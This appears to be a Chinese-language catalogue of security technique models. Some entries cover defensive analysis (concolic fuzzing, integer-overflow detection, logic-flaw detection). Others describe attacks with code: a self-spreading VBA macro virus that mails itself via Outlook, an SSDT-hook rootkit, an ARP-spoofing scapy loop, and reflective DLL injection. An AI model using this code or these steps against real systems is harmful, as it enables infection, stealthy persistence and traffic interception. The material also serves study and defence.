2. 路径约束收集：在符号执行分支点（如if (x > 0)），记录符号条件φ。具体执行会选择一个分支（真或假），符号执行则记录当前路径约束Φ和另一分支的否定条件¬φ。
3. 新输入生成：当一条路径执行完毕或达到一定深度，从路径约束Φ中挑选一个未探索的分支条件¬φ，使用约束求解器（如Z3）求解Φ ∧ ¬φ，得到一个新的具体输入new_input，该输入将导向之前未走过的分支。
4. 模糊测试引导：将new_input加入模糊测试的种子队列。模糊测试器（如AFL）会以new_input为起点，进行传统的变异和覆盖引导的模糊测试，探索该分支附近的状态空间。
5. 协同循环：模糊测试发现的新路径或崩溃输入，可以反馈给符号执行引擎，作为新的起点进行更深入的符号分析。

覆盖率：结合了符号执行的深度路径探索和模糊测试的高速变异，能有效提高代码覆盖率。效率：比纯符号执行快，比纯模糊测试更能触及深层路径。

符号执行、模糊测试、约束求解、程序分析

1. 发现需要复杂条件触发的深层漏洞
2. 提高对大型程序（如浏览器、内核）的模糊测试覆盖率
3. 自动化测试文件解析器（如PDF, Office）
4. 网络协议实现测试
5. 智能合约漏洞挖掘
6. 设备驱动模糊测试
7. 二进制程序的漏洞发现（结合动态插桩）
8. 生成绕过特定检查的测试用例
9. 回归测试中的高覆盖率测试集生成
10. 软件安全加固的测试验证

常量：目标程序P，初始种子集Seeds，符号执行引擎SymEngine，模糊测试引擎Fuzzer，约束求解器Solver。
变量：当前具体输入concrete_input，当前路径约束Φ，符号状态σ，模糊测试队列FuzzQueue。
参数：符号执行与模糊测试的切换频率、符号执行深度限制、约束求解超时时间。

状态：S0-初始化，从Seeds取一个输入-> S1-混合执行：同时使用具体值和符号变量运行程序-> S2-遇到分支，记录约束φ和¬φ-> S3-具体执行选择一条路径，符号状态沿该路径更新-> S4-路径结束或达到深度，从Φ中选一个未探索的¬φ-> S5-调用Solver求解Φ∧¬φ-> S6-（可解）生成new_input，加入FuzzQueue-> S7-模糊测试器从FuzzQueue取出种子变异，执行，收集新覆盖-> S8-（发现新路径）将其作为新种子反馈给S1。

逻辑：路径约束是逻辑公式的合取。
集合：已探索路径集合，未探索分支集合。
代数：约束求解涉及算术、位向量运算。
图论：程序控制流图探索。
优化：在符号执行（高开销、高精度）和模糊测试（低开销、随机）间取得平衡。

中间表示语言、约束表达式（SMT-LIB）、模糊测试器的覆盖反馈格式。

1. 用具体输入I0启动程序执行，同时将I0的字节标记为符号变量S1, S2, ...。
2. 在每条指令执行时，既计算具体值，也更新符号状态σ。
3. 遇到条件分支if (e)，计算具体值决定走向（如true），同时记录符号条件φ = (e(S) > 0)。将Φ = Φ ∧ φ加入当前路径约束，并将Φ' = Φ ∧ ¬φ对应的未探索分支加入工作列表。
4. 当前路径执行结束后，从工作列表中取出一个未探索分支约束Φ_unexp，调用求解器Solver.check(Φ_unexp)。
5. 若SAT，得到模型M，将其具体化为新输入I_new。I_new = M(S1, S2, ...)。
6. 将I_new加入AFL的输入队列。AFL对其进行变异，产生大量测试用例并监控覆盖率和崩溃。
7. AFL发现的能触发新覆盖的输入I_cov，可作为新的起点，回到步骤1进行混合执行，以探索更深分支。

顺序（单次混合执行路径）+ 并行（模糊测试可大规模并行变异和测试）+ 反馈循环（符号执行生成种子给模糊测试，模糊测试发现新路径给符号执行）

时间：符号执行部分较慢，模糊测试部分可并行加速。总体开销介于两者之间。
空间：需要存储符号状态、路径约束和模糊测试队列。

通用CPU：混合执行引擎本身执行插桩、符号模拟和约束求解调用。模糊测试部分执行目标程序并收集覆盖率。两者都是CPU密集型。
指令序列：插桩代码（收集路径约束）-> 符号模拟运算 -> 求解器进程通信 -> 模糊测试的进程创建/变异/执行循环。

概念性伪代码：
input = initial_seed
while True:
# 混合执行阶段
concrete_state, symbolic_state, path_constraints = concolic_execute(program, input)
for each unexplored_branch in path_constraints:
new_input = solve_constraint(unexplored_branch)
if new_input is not None:
fuzzer.add_to_queue(new_input)
# 模糊测试阶段
new_cov_inputs = fuzzer.run_for_a_while()
if new_cov_inputs:
input = select_interesting(new_cov_inputs)
else:
break

Virus1-0035​

病毒/宏病毒​

基于文档宏脚本的自复制与传播模型

Office文档宏病毒传播模型

1. 感染宿主文档：病毒代码作为VBA宏嵌入Office文档（.doc, .xls, .ppt）。当用户打开文档并启用宏时，AutoOpen()（Word）或Auto_Open()（Excel）事件处理程序自动执行。
2. 系统探测与持久化：检查当前系统环境（如Office版本、操作系统）。将自身代码写入全局模板（如Word的Normal.dot）或启动目录，实现持久化，使得此后新建或打开的文档均被感染。
3. 文档遍历与感染：遍历文件系统（如Dir(“*.doc”)），寻找未感染的Office文档。打开目标文档，将病毒宏模块复制到其中，并添加自动执行的事件处理程序。
4. 载荷触发：在特定条件（如日期、文档操作次数）满足时，触发恶意载荷，如删除文件、显示骚扰信息、下载远程木马。
5. 传播：通过电子邮件附件、网络共享、U盘等方式，被感染的文档被传播到新主机。

感染率：在宏被启用的环境下较高。隐蔽性：依赖社会工程学诱使用户启用宏。

文档对象模型（DOM）、Visual Basic for Applications (VBA)、事件驱动编程、文件格式（OLE）

1. 通过钓鱼邮件传播恶意文档
2. 感染企业内部的模板和常用文档
3. 勒索软件通过宏文档传播
4. 窃取文档内容并通过邮件外发
5. 破坏文档内容或格式
6. 下载并执行远程Payload
7. 作为高级威胁的初始入侵载体
8. 感染版本控制系统中的文档
9. 针对特定行业（如法律、财务）的鱼叉式攻击
10. 结合0-day漏洞（如CVE-2017-11882）实现无宏感染

常量：病毒VBA代码模块VirusModule，感染目标文件扩展名列表TargetExts，全局模板路径GlobalTemplatePath。
变量：当前文档对象ThisDocument，文件系统对象FSO，已感染文件列表InfectedList。
参数：是否感染全局模板Flag_Global，触发载荷的条件TriggerCondition，传播方式（邮件、文件复制）。

状态：S0-文档打开，Auto宏执行-> S1-系统检查与持久化（感染全局模板）-> S2-遍历文件系统，寻找目标文档-> S3-打开目标文档，检查是否已感染-> S4-未感染则复制病毒模块并添加Auto宏-> S5-保存并关闭目标文档-> S6-检查触发条件，若满足则执行载荷-> S7-（传播）可能通过邮件发送自身。

集合：目标文件集合，已感染文件集合。
逻辑：感染条件判断（文件存在、未感染）。
事件驱动：由文档打开、关闭、新建等事件触发。
字符串操作：大量文件路径和VBA代码字符串处理。

Visual Basic for Applications (VBA) 语言，Office对象模型（如ThisDocument, ActiveDocument），文件系统对象（Scripting.FileSystemObject）方法。

1. 用户打开含宏文档，触发Sub AutoOpen()。
2. 在AutoOpen中：
a. 感染全局模板：Set nt = NormalTemplate.VBProject.VBComponents; If Not nt.Item(“VirusModule”).Name = “VirusModule” Then nt.Import VirusModulePath。
b. 遍历文件夹：Set fso = CreateObject(“Scripting.FileSystemObject”); Set folder = fso.GetFolder(“C:\”); For Each file In folder.Files。
c. 如果文件扩展名是.doc或.xls，则尝试打开：Set doc = Documents.Open(file.Path)。
d. 检查文档是否已有病毒模块：If Not doc.VBProject.VBComponents(“VirusModule”) Then。
e. 复制模块：doc.VBProject.VBComponents.Import VirusModulePath。
f. 确保文档的AutoOpen宏调用病毒主函数。
g. 保存文档：doc.SaveAs file.Path。
3. 检查日期：If Date = “2026/1/1” Then Payload。
4. 通过Outlook自动发送带附件的邮件：Set ol = CreateObject(“Outlook.Application”); Set mail = ol.CreateItem(0); mail.Attachments.Add ThisDocument.FullName; mail.Send。

顺序（文件遍历感染）+ 事件驱动（由Office事件触发）

时间：O(n)，n为扫描的文件数。文件操作和VBA解释执行较慢。
空间：病毒代码本身很小，但需要加载Office对象模型，内存占用中等。

通用CPU：在Office进程（winword.exe, excel.exe）上下文内执行VBA解释器。VBA代码被解释执行，涉及COM对象调用和文件I/O。
指令序列：Office进程的常规指令 -> 调用VBA运行时库 -> COM接口调用（操作文档、文件系统、邮件）-> 系统调用（文件读写）。

VBA代码片段（简化感染逻辑）：
Sub AutoOpen()
On Error Resume Next
‘ 感染Normal模板
Set nt = NormalTemplate.VBProject.VBComponents
If nt.Item(“VirusMacro”).Name <> “VirusMacro” Then
nt.Import “C:\virus.bas”
End If
‘ 感染其他文档
Dim fso, folder, file
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set folder = fso.GetFolder(“C:\MyDocs”)
For Each file In folder.Files
If Right(file.Name, 4) = “.doc” Then
InfectDocument file.Path
End If
Next
‘ 触发载荷
If Day(Date) = 1 Then Payload
End Sub

Virus1-0036​

木马/Rootkit​

基于内核模块加载与系统服务表挂钩的隐身模型

内核模式Rootkit（SSDT Hook）

1. 内核驱动加载：通过漏洞利用、驱动签名伪造或已有管理员权限，将恶意内核驱动（.sys文件）加载到系统内核空间。常用CreateService+ StartService或NtLoadDriver。
2. 定位系统服务描述符表（SSDT）：在Windows内核中，KeServiceDescriptorTable导出（或通过内核结构遍历找到）系统服务描述符表，其中包含系统调用（syscall）服务函数的地址数组KiServiceTable。
3. 挂钩目标函数：确定要挂钩的系统调用索引index（如NtOpenProcess）。保存原始函数地址OriginalNtOpenProcess。然后修改KiServiceTable[index]处的指针，使其指向恶意钩子函数HookNtOpenProcess。由于内存页是只读的，需先使用MDL或修改CR0寄存器禁用写保护。
4. 钩子函数处理：在HookNtOpenProcess中，检查调用参数（如进程ID）。如果是要隐藏的进程（如病毒自身进程），则返回错误状态STATUS_ACCESS_DENIED；否则，调用原始函数OriginalNtOpenProcess并返回其结果。
5. 恢复与清理：Rootkit卸载时，恢复KiServiceTable[index]的原始地址，并重新启用写保护。

隐蔽性：极高，在内核层面隐藏进程、文件、网络连接。稳定性风险：挂钩不当易导致系统蓝屏（BSOD）。

操作系统内核原理、系统调用机制、内存管理（分页、保护）、函数挂钩技术

1. 隐藏恶意进程、文件、注册表项
2. 绕过杀毒软件和进程监控工具的检测
3. 保护恶意软件自身不被结束
4. 窃取键盘击键（键盘过滤驱动）
5. 监控和篡改网络流量（NDIS Filter驱动）
6. 实现文件系统隐藏和加密（文件过滤驱动）
7. 游戏外挂（隐藏驱动、绕过反作弊）
8. 数字版权管理（DRM）保护
9. 内核调试与取证
10. 操作系统安全研究（概念验证）

常量：目标系统调用索引SSDT_INDEX，要隐藏的进程名HiddenProcName，恶意驱动对象DriverObject。
变量：原始SSDT地址pSSDT，原始函数指针pOrigFunc，钩子函数指针pHookFunc，内存描述符列表MDL。
参数：挂钩的深度（单个/多个系统调用）、是否持久化（随系统启动）、卸载时是否恢复。

状态：S0-驱动加载，DriverEntry执行-> S1-定位KeServiceDescriptorTable-> S2-计算目标系统调用索引-> S3-保存原始函数地址-> S4-禁用内存写保护（WP位）-> S5-修改SSDT表项，指向钩子函数-> S6-启用写保护-> S7-（运行时）系统调用被重定向到钩子-> S8-钩子函数过滤操作，调用原始函数或返回错误-> S9-驱动卸载时恢复SSDT和写保护。

地址计算：计算系统调用索引对应的内存地址：HookAddr = pSSDT + index * sizeof(PVOID)。
位操作：修改CR0寄存器的WP位（第16位）以禁用写保护：__writecr0(__readcr0() & ~0x10000)。
函数指针：替换函数指针，控制流劫持。

内核驱动开发（WDK），内联汇编（修改CR0），Windows内核数据结构（_KSERVICE_TABLE_DESCRIPTOR）。

1. 驱动加载后，在DriverEntry中：
a. 获取KeServiceDescriptorTable地址（可能需动态获取）。
b. 确定NtOpenProcess的索引index（如0x7A）。
c. pOrigFunc = KeServiceDescriptorTable->KiServiceTable[index];
2. 分配可写内存映射到SSDT页：MDL = MmCreateMdl(NULL, &KeServiceDescriptorTable->KiServiceTable[index], sizeof(PVOID)); MmProbeAndLockPages(...); pMappedAddr = MmMapLockedPages(...);
3. 禁用写保护：__asm { cli; mov eax, cr0; and eax, not 10000h; mov cr0, eax; }
4. 挂钩：*pMappedAddr = HookNtOpenProcess;
5. 启用写保护：__asm { mov eax, cr0; or eax, 10000h; mov cr0, eax; sti; }
6. 在HookNtOpenProcess中：检查POBJECT_ATTRIBUTES或进程ID，如果是隐藏进程，则返回STATUS_ACCESS_DENIED；否则，调用pOrigFunc。

顺序（挂钩安装过程）+ 中断/异常（系统调用陷入内核时触发钩子）

时间：挂钩操作本身是O(1)。每次被挂钩的系统调用被调用时，引入额外过滤开销。
空间：需要存储原始函数指针和钩子函数代码，很小。

x86/x64 CPU：执行内核模式指令，包括修改控制寄存器CR0、管理内存页表属性、处理系统调用中断/快速调用（SYSCALL/SYSENTER）。钩子函数在内核态执行。
指令序列：CLI（禁用中断）-> MOV CR0, ...（修改写保护）-> 内存写指令（修改SSDT）-> STI（启用中断）。系统调用时：SYSCALL-> 内核派发 -> 跳转到SSDT表项（现为钩子函数）-> 钩子函数中的比较和跳转指令 -> 可能跳回原始函数。

C代码片段（SSDT Hook原理）：
// 假设已获取KeServiceDescriptorTable
typedef NTSTATUS (*NTOPENPROCESS)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
NTOPENPROCESS g_OriginalNtOpenProcess;
NTSTATUS HookNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
if (ClientId && ClientId->UniqueProcess == (HANDLE)targetPid) {
return STATUS_ACCESS_DENIED; // 隐藏进程
}
return g_OriginalNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
// 安装Hook
g_OriginalNtOpenProcess = (NTOPENPROCESS)KeServiceDescriptorTable->KiServiceTable[index];
DisableWriteProtection();
KeServiceDescriptorTable->KiServiceTable[index] = HookNtOpenProcess;
EnableWriteProtection();

Virus1-0037​

信息窃取/网络嗅探​

基于ARP欺骗的中间人攻击与流量劫持模型

ARP欺骗（ARP Spoofing/Poisoning）

1. 网络探测：攻击者主机A在局域网内，探测网关G的IP和MAC地址，以及目标主机T的IP和MAC地址。使用arp -a或发送ARP请求。
2. 构造并发送欺骗性ARP应答：攻击者A向网关G发送ARP应答，声称T的IP地址对应的MAC地址是A的MAC地址（MAC_A）。同时，向目标T发送ARP应答，声称网关G的IP地址对应的MAC地址也是A的MAC地址。ARP包格式：Sender MAC: MAC_A, Sender IP: IP_G, Target MAC: MAC_T, Target IP: IP_T（发给T的欺骗包）。
3. ARP缓存投毒：网关G和目标T收到欺骗应答后，更新其ARP缓存表，错误地将对方的IP映射到攻击者A的MAC地址。此后，G与T之间的流量都会先经过A。
4. 流量转发与嗅探：攻击者A启用IP转发（sysctl net.ipv4.ip_forward=1），将收到的数据包转发给正确的目的地，同时进行嗅探和分析。也可以修改流量（如HTTP注入）。
5. 维持攻击：定期发送欺骗ARP应答，以覆盖目标主机因超时而发送的合法ARP请求的回复。

成功率：在局域网内，对未启用静态ARP或ARP防护的主机成功率很高。影响范围：可劫持同一网段内任意两台主机间的通信。

地址解析协议（ARP）、局域网通信原理、网络数据包转发

1. 窃取局域网内的明文密码（HTTP, FTP）
2. 会话劫持（如Cookie窃取）
3. DNS欺骗攻击（结合DNS响应篡改）
4. SSL/TLS剥离攻击（降级HTTPS连接）
5. 内网漫游和横向移动
6. 网络监控和审计（合法用途）
7. 阻断特定主机上网（DoS）
8. 恶意软件传播（中间人注入恶意代码）
9. 游戏局域网对战作弊
10. 企业内网安全测试

常量：网关IPIP_G，目标IPIP_T，攻击者MACMAC_A。
变量：网关MACMAC_G，目标MACMAC_T，ARP缓存表项，网络接口句柄。
参数：欺骗间隔Interval，是否启用IP转发Flag_Forward，是否双向欺骗Flag_Bidirectional。

状态：S0-探测网络，获取G和T的MAC-> S1-构造欺骗ARP应答包-> S2-发送给网关G（毒化G的缓存）-> S3-发送给目标T（毒化T的缓存）-> S4-启用IP转发-> S5-嗅探/修改经过的流量-> S6-定期（每隔Interval）重复S2-S3以维持毒化-> S7-（停止攻击）发送正确的ARP恢复缓存。

逻辑：条件判断（目标IP是否在攻击范围内）。
集合：目标主机IP集合。
协议：ARP报文格式，以太网帧格式。
图论：网络拓扑结构。

原始套接字编程，ARP报文结构（struct arphdr），以太网帧头，网络接口控制命令（如ioctl）。

1. 使用pcap或原始套接字打开网络接口。
2. 获取本机、网关、目标的MAC地址（通过发送ARP请求并监听应答）。
3. 构造ARP应答包：
- 以太网头：目标MAC = MAC_G，源MAC = MAC_A。
- ARP字段：操作码=2（应答），发送方MAC=MAC_A，发送方IP=IP_T，目标MAC=MAC_G，目标IP=IP_G。此包使网关G认为T的MAC是A。
4. 发送构造的包。
5. 对称地构造欺骗T的包。
6. 启用内核IP转发：echo 1 > /proc/sys/net/ipv4/ip_forward。
7. 使用pcap或iptables重定向流量到用户态处理程序，进行嗅探或修改。
8. 循环发送欺骗包，间隔2-5秒。

并行（同时毒化多个目标）+ 周期性（定时发送欺骗包维持）

时间：O(1) 每对毒化，但需持续运行。流量转发和嗅探开销取决于流量大小。
空间：存储少量MAC和IP地址，很小。

通用CPU：执行原始套接字操作（构造和发送数据包）、网络I/O。启用IP转发后，内核会处理包转发，消耗CPU和内存资源。
指令序列：原始套接字系统调用 -> 内存拷贝（构造ARP包）-> 网络接口发送指令 -> 可能的内核网络栈处理指令（若启用转发）。

Python伪代码（使用scapy）：
from scapy.all import *
import time
def arp_spoof(target_ip, gateway_ip):
target_mac = getmacbyip(target_ip)
gateway_mac = getmacbyip(gateway_ip)
# 构造欺骗网关的包
pkt_to_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac) # 注意: hwsrc 实际应为攻击者MAC，这里为演示
# 构造欺骗目标的包
pkt_to_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac) # 同上
while True:
send(pkt_to_gateway, verbose=0)
send(pkt_to_target, verbose=0)
time.sleep(2)
# 启用IP转发: echo 1 > /proc/sys/net/ipv4/ip_forward

Virus1-0038​

漏洞发现（整数溢出）​

基于符号范围分析与约束求解的整数溢出检测模型

整数溢出与环绕漏洞检测

1. 识别危险操作：在代码中识别可能导致整数溢出的算术操作，如无符号加法+、减法-、乘法*，以及有符号整数溢出（未定义行为，但常表现为环绕）。关注内存分配大小计算、数组索引计算、循环计数器等上下文。
2. 符号范围分析：为程序中的整型变量建立符号范围。例如，对于一个变量x，已知其取值范围x ∈ [L, U]。对于表达式y = x + c，其理论范围是[L+c, U+c]，但需要考虑目标类型的位宽N（如32位）。
3. 溢出条件检查：对于操作z = x OP y，检查其数学结果是否超出目标类型的表示范围。例如，对于无符号32位加法z = x + y，溢出条件为：x + y > 2^32 - 1。在符号范围下，检查是否可能满足：max_possible(x) + max_possible(y) > MAX或 min_possible(x) + min_possible(y) < 0（对于有符号）。
4. 路径敏感分析：结合路径约束，细化变量的取值范围。例如，在if (x < 100)分支内，x的上界被更新为99。
5. 生成测试用例：如果溢出条件可能满足，则使用约束求解器生成具体的输入值x和y，使得x OP y发生溢出，以验证漏洞的可利用性。

误报：可能报告许多理论上可能但实践中不会触发的溢出（如受前文条件限制）。漏报：对复杂非线性约束或指针运算可能分析不充分。

整数算术、区间分析、抽象解释、约束求解

1. 检测缓冲区分配大小计算溢出（导致堆溢出）
2. 检测数组索引越界（由于整数溢出导致绕回）
3. 检测内存拷贝长度计算错误
4. 检测循环计数器溢出导致的无限循环或越界
5. 检测加密算法中的整数溢出（如RC4密钥调度）
6. 检测网络协议解析中的长度字段处理错误
7. 检测文件格式解析器中的大小计算错误
8. 检测虚拟机或模拟器中的资源分配溢出
9. 检测智能合约中的算术溢出（Solidity 0.8.x以前）
10. 嵌入式系统固件中的资源耗尽攻击

常量：整数类型位宽N，最大值MAX_U = 2^N - 1，最小值MIN_S = -2^(N-1)等。
变量：变量的符号范围[low, high]，路径约束集合Φ，当前操作op。
参数：分析深度、是否考虑有符号溢出、是否生成PoC。

状态：S0-解析代码，构建抽象语法树（AST）-> S1-数据流分析，为变量分配初始范围（可能来自输入或未知）-> S2-遍历AST，遇到算术操作-> S3-获取操作数的当前范围-> S4-计算操作结果的理论范围-> S5-检查理论范围是否超出目标类型范围-> S6-（可能溢出）结合路径约束，判断是否可达-> S7-（可达）报告潜在整数溢出漏洞，并尝试生成触发输入。

区间分析：定义在整数域上的区间格，进行区间运算，如[a,b] + [c,d] = [a+c, b+d]，然后与类型范围[MIN, MAX]比较。
抽象解释：在抽象域（区间）上模拟程序执行，计算不动点。
约束求解：生成具体的溢出条件(x + y) > MAX并求解。
位运算：整数溢出本质是模2^N运算，但安全检查需在模运算前进行。

源代码或中间表示中的算术表达式，区间表示[min, max]，约束公式（如x + y > 0xFFFFFFFF）。

1. 对于代码片段：size = len1 + len2; buf = malloc(size);
2. 假设len1和len2是unsigned int，输入范围未知，初始化为[0, MAX_U]。
3. 计算size的范围：size_range = len1_range + len2_range = [0, MAX_U] + [0, MAX_U] = [0, 2*MAX_U]。由于MAX_U = 2^32-1，所以size_range上限2*MAX_U > MAX_U。
4. 因此，size可能溢出。但需检查是否可能达到溢出值。假设有前置条件if (len1 < 100 && len2 < 100)，则更新len1_range = [0, 99], len2_range = [0, 99]，size_range = [0, 198]，不会溢出，故不报漏洞。
5. 若无前置条件，则报告潜在溢出。生成测试用例：求解len1 + len2 > MAX_U，例如len1 = MAX_U, len2 = 1，使得size在模运算后为0，导致malloc(0)可能分配极小堆块，后续拷贝len1+len2字节时导致堆溢出。

顺序（数据流分析通常是迭代直到不动点）

时间：O(V * E)，V是变量数，E是数据流边数，但实际与程序大小和循环复杂度相关。
空间：存储每个程序点的变量范围映射。

通用CPU：执行静态分析算法，包括区间运算、约束求解。分析阶段不执行目标代码。生成PoC时可能需要运行程序进行验证。
指令序列：分析器本身的指令：区间上下界计算、比较、集合/映射操作、约束求解器调用。

C代码片段（模拟区间加法检查）：
typedef struct { int low; int high; } interval_t;
interval_t add_intervals(interval_t a, interval_t b) {
interval_t res = {a.low + b.low, a.high + b.high};
return res;
}
bool check_unsigned_overflow(interval_t a, interval_t b, unsigned int max) {
interval_t sum = add_intervals(a, b);
if (sum.high > max) { // 可能溢出
// 进一步检查是否必然溢出或可能溢出
if (a.high + b.high > max && a.low + b.low <= max) return POSSIBLE;
if (a.low + b.low > max) return DEFINITE;
}
return SAFE;
}

Virus1-0039​

木马/下载器​

基于分段加载与反射DLL注入的无文件落地模型

反射式DLL注入（Reflective DLL Injection）

1. 准备DLL镜像：将恶意DLL（通常是PE文件）的内容读取到内存缓冲区image_buffer中。可选进行加密或压缩。
2. 内存中解析PE头：在内存中（而非通过LoadLibrary）解析DLL的PE头，获取其大小SizeOfImage、入口点AddressOfEntryPoint、节区等信息。
3. 分配目标进程内存：在目标进程P中分配可读可写可执行的内存：pRemoteBase = VirtualAllocEx(hProcess, NULL, SizeOfImage, MEM_COMMIT\|RESERVE, PAGE_EXECUTE_READWRITE)。
4. 逐节区拷贝与重定位：将DLL的每个节区拷贝到目标进程的分配内存pRemoteBase的对应偏移处。同时，处理DLL的重定位信息（如果需要加载的基址pRemoteBase与DLL的预设基址ImageBase不同），修正所有需要重定位的地址。
5. 解析导入表并解析函数地址：在目标进程内存中，遍历DLL的导入表，对于每个需要导入的DLL，使用LoadLibrary和GetProcAddress（在目标进程上下文中执行，或通过计算Kernel32基址手动解析）获取函数地址，并填写导入地址表（IAT）。
6. 调用入口点：最后，通过创建远程线程或APC，调用DLL的入口点函数DllMain（传递DLL_PROCESS_ATTACH）。线程起始地址为pRemoteBase + AddressOfEntryPoint。

隐蔽性：高，DLL不写入磁盘，完全在内存中加载和执行。难度：实现复杂，需处理PE格式细节。

Windows PE文件格式、动态链接、内存重定位、导入地址表（IAT）解析

1. 高级恶意软件的无文件持久化
2. 渗透测试中的进程注入后门
3. 游戏外挂的内存加载
4. 绕过应用程序白名单（不调用LoadLibrary）
5. 作为漏洞利用的Payload加载器
6. 内存取证对抗（难以从磁盘提取样本）
7. 恶意软件模块化更新（反射加载新模块）
8. 反调试和反沙箱技术（动态加载核心功能）
9. 红队工具（如Cobalt Strike, Metasploit）的模块加载
10. 软件保护（自修改代码，运行时解密加载）

常量：恶意DLL的二进制数据DllData，目标进程IDpid。
变量：本地DLL镜像基址lpBuffer，目标进程句柄hProcess，远程分配基址lpRemoteBase，重定位表RelocDir，导入表ImportDir。
参数：是否处理重定位Flag_Reloc，是否解析导入表Flag_Import，注入技术（远程线程、APC、SetThreadContext）。

状态：S0-读取DLL到内存缓冲区-> S1-在本地内存解析PE头，计算所需大小-> S2-打开目标进程，分配远程内存-> S3-拷贝PE头和节区到远程内存-> S4-（如果需要）处理基址重定位-> S5-解析导入表，在目标进程中解析所需DLL函数地址并填写IAT-> S6-创建远程线程，执行DllMain-> S7-（可选）清理本地缓冲区。

地址计算：虚拟地址转换：VA = BaseAddress + RVA。重定位偏移计算：delta = lpRemoteBase - ImageBase。
表遍历：遍历PE的节区表、重定位表、导入表等数据结构。
字符串解析：解析导入的DLL名和函数名。

PE文件结构体（IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, IMAGE_SECTION_HEADER），重定位和导入表的二进制格式。

1. 将DLL文件读入缓冲区lpBuffer，假设其预设ImageBase为0x10000000。
2. 解析PE头，获取SizeOfImage。
3. hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
4. lpRemoteBase = VirtualAllocEx(hProcess, (LPVOID)ImageBase, SizeOfImage, ...);如果分配地址不等于ImageBase，则需重定位。
5. 拷贝PE头和每个节区：WriteProcessMemory(hProcess, lpRemoteBase + section.VirtualAddress, lpBuffer + section.PointerToRawData, section.SizeOfRawData, ...)。
6. 重定位处理：遍历重定位块，对于每个重定位项reloc，其类型是IMAGE_REL_BASED_HIGHLOW（32位）时，读取目标地址patch_addr = lpRemoteBase + reloc_offset处的值old_value，计算新值new_value = old_value + delta，写回patch_addr。
7. 导入解析：遍历导入描述符，对每个DLL，在目标进程中加载该DLL（需在目标进程内执行LoadLibrary，可通过Shellcode或已知地址），获取函数地址，写入IAT。
8. CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(lpRemoteBase + EntryPointRVA), NULL, 0, NULL);。

严格顺序（步骤依赖，如必须先分配内存、拷贝，再处理重定位和导入，最后执行）

时间：O(SizeOfImage + number_of_relocs + number_of_imports)，主要是内存读写和解析开销。
空间：需要在目标进程分配与DLL等大的内存。

x86/x64 CPU：执行系统调用（VirtualAllocEx, WriteProcessMemory, CreateRemoteThread），以及在目标进程上下文内执行Shellcode（用于解析导入表）或DLL入口点代码。重定位和导入解析涉及大量内存地址计算和写操作。
指令序列：系统调用 -> 内存拷贝指令 -> 指针算术和比较指令（解析PE结构）-> 可能注入的Shellcode指令（用于LoadLibrary/GetProcAddress）。

C代码片段（重定位处理核心）：
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(lpBuffer + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD_PTR delta = (DWORD_PTR)lpRemoteBase - pNtHeaders->OptionalHeader.ImageBase;
while (pReloc->VirtualAddress) {
DWORD count = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD relocList = (PWORD)(pReloc + 1);
for (DWORD i = 0; i < count; i++) {
if (relocList[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) { // 32位重定位
DWORD_PTR* patchAddr = (DWORD_PTR*)((LPBYTE)lpRemoteBase + pReloc->VirtualAddress + (relocList[i] & 0xFFF));
*patchAddr += delta;
}
}
pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pReloc + pReloc->SizeOfBlock);
}

Virus1-0040​

漏洞发现（逻辑漏洞）​

基于状态机与业务规则推理的业务逻辑漏洞检测模型

状态机与业务逻辑漏洞推理

1. 业务流建模：将目标应用（如Web应用、API）的业务流程建模为有限状态机（FSM）。状态S表示业务对象的状态（如“购物车空”、“订单已支付”、“用户已登录”），事件E表示用户操作（如“添加商品”、“支付”、“注销”），转移T: S x E -> S'定义状态变化。
2. 规则提取：从需求文档、代码或交互中提取业务规则R。例如，“只有状态为‘已支付’的订单才能发货”。规则可表示为逻辑谓词：Allow(Ship, order) iff order.state = PAID。
3. 状态遍历与违规检测：通过爬虫、手动测试或符号执行，探索应用的状态空间。在每次状态转移后，检查当前状态是否违反任何业务规则R。例如，尝试直接从状态“购物车空”触发“发货”事件，检查是否成功（绕过支付）。
4. 权限与访问控制检查：结合用户角色和权限模型，检查是否存在垂直或水平越权。例如，普通用户是否能访问管理员API (/admin/deleteUser)，或用户A是否能操作用户B的资源（/order/{orderIdB}）。
5. 时序与竞争条件检测：检查是否存在对状态S的并发操作导致的不一致。例如，余额检查和扣款非原子操作，可能导致多次扣款或负余额。

查准率：高，因为逻辑漏洞通常导致明显的功能异常。查全率：依赖于状态机模型的完整性和探索深度。

有限状态机、形式化方法、业务规则建模、访问控制模型（RBAC, ABAC）

1. 电子商务网站：绕过支付流程、优惠券滥用、无限积分
2. 银行应用：越权转账、重复提现、利率计算错误
3. 社交网络：隐私设置绕过、非好友访问相册、冒充发帖
4. 企业ERP：审批流程绕过、权限提升、数据泄露
5. 游戏：复制道具、刷金币、外挂逻辑漏洞
6. API接口：未经验证的重定向、功能级访问控制缺失
7. 移动应用：本地数据篡改、验证绕过
8. 云服务：资源配额绕过、跨租户访问
9. 物联网设备：状态机绕过（如门锁未上锁状态可被远程打开）
10. 智能合约：重入、权限控制、状态机漏洞

常量：业务状态机模型M = (S, S0, E, T)，业务规则集R，用户角色与权限映射PermMap。
变量：当前会话状态session_state，业务对象状态obj_state，用户上下文user_context。
参数：状态探索深度、是否检测竞争条件、测试用例生成策略。

状态：S0-初始状态（如未登录）-> S1-（通过事件登录）已登录状态-> S2-（添加商品）购物车非空-> S3-（支付）订单已支付-> S4-（发货）订单已完成。
漏洞检测点：在每个状态S_i，尝试触发理论上不允许的事件E_violate，检查系统是否错误地允许转移或产生非预期结果。

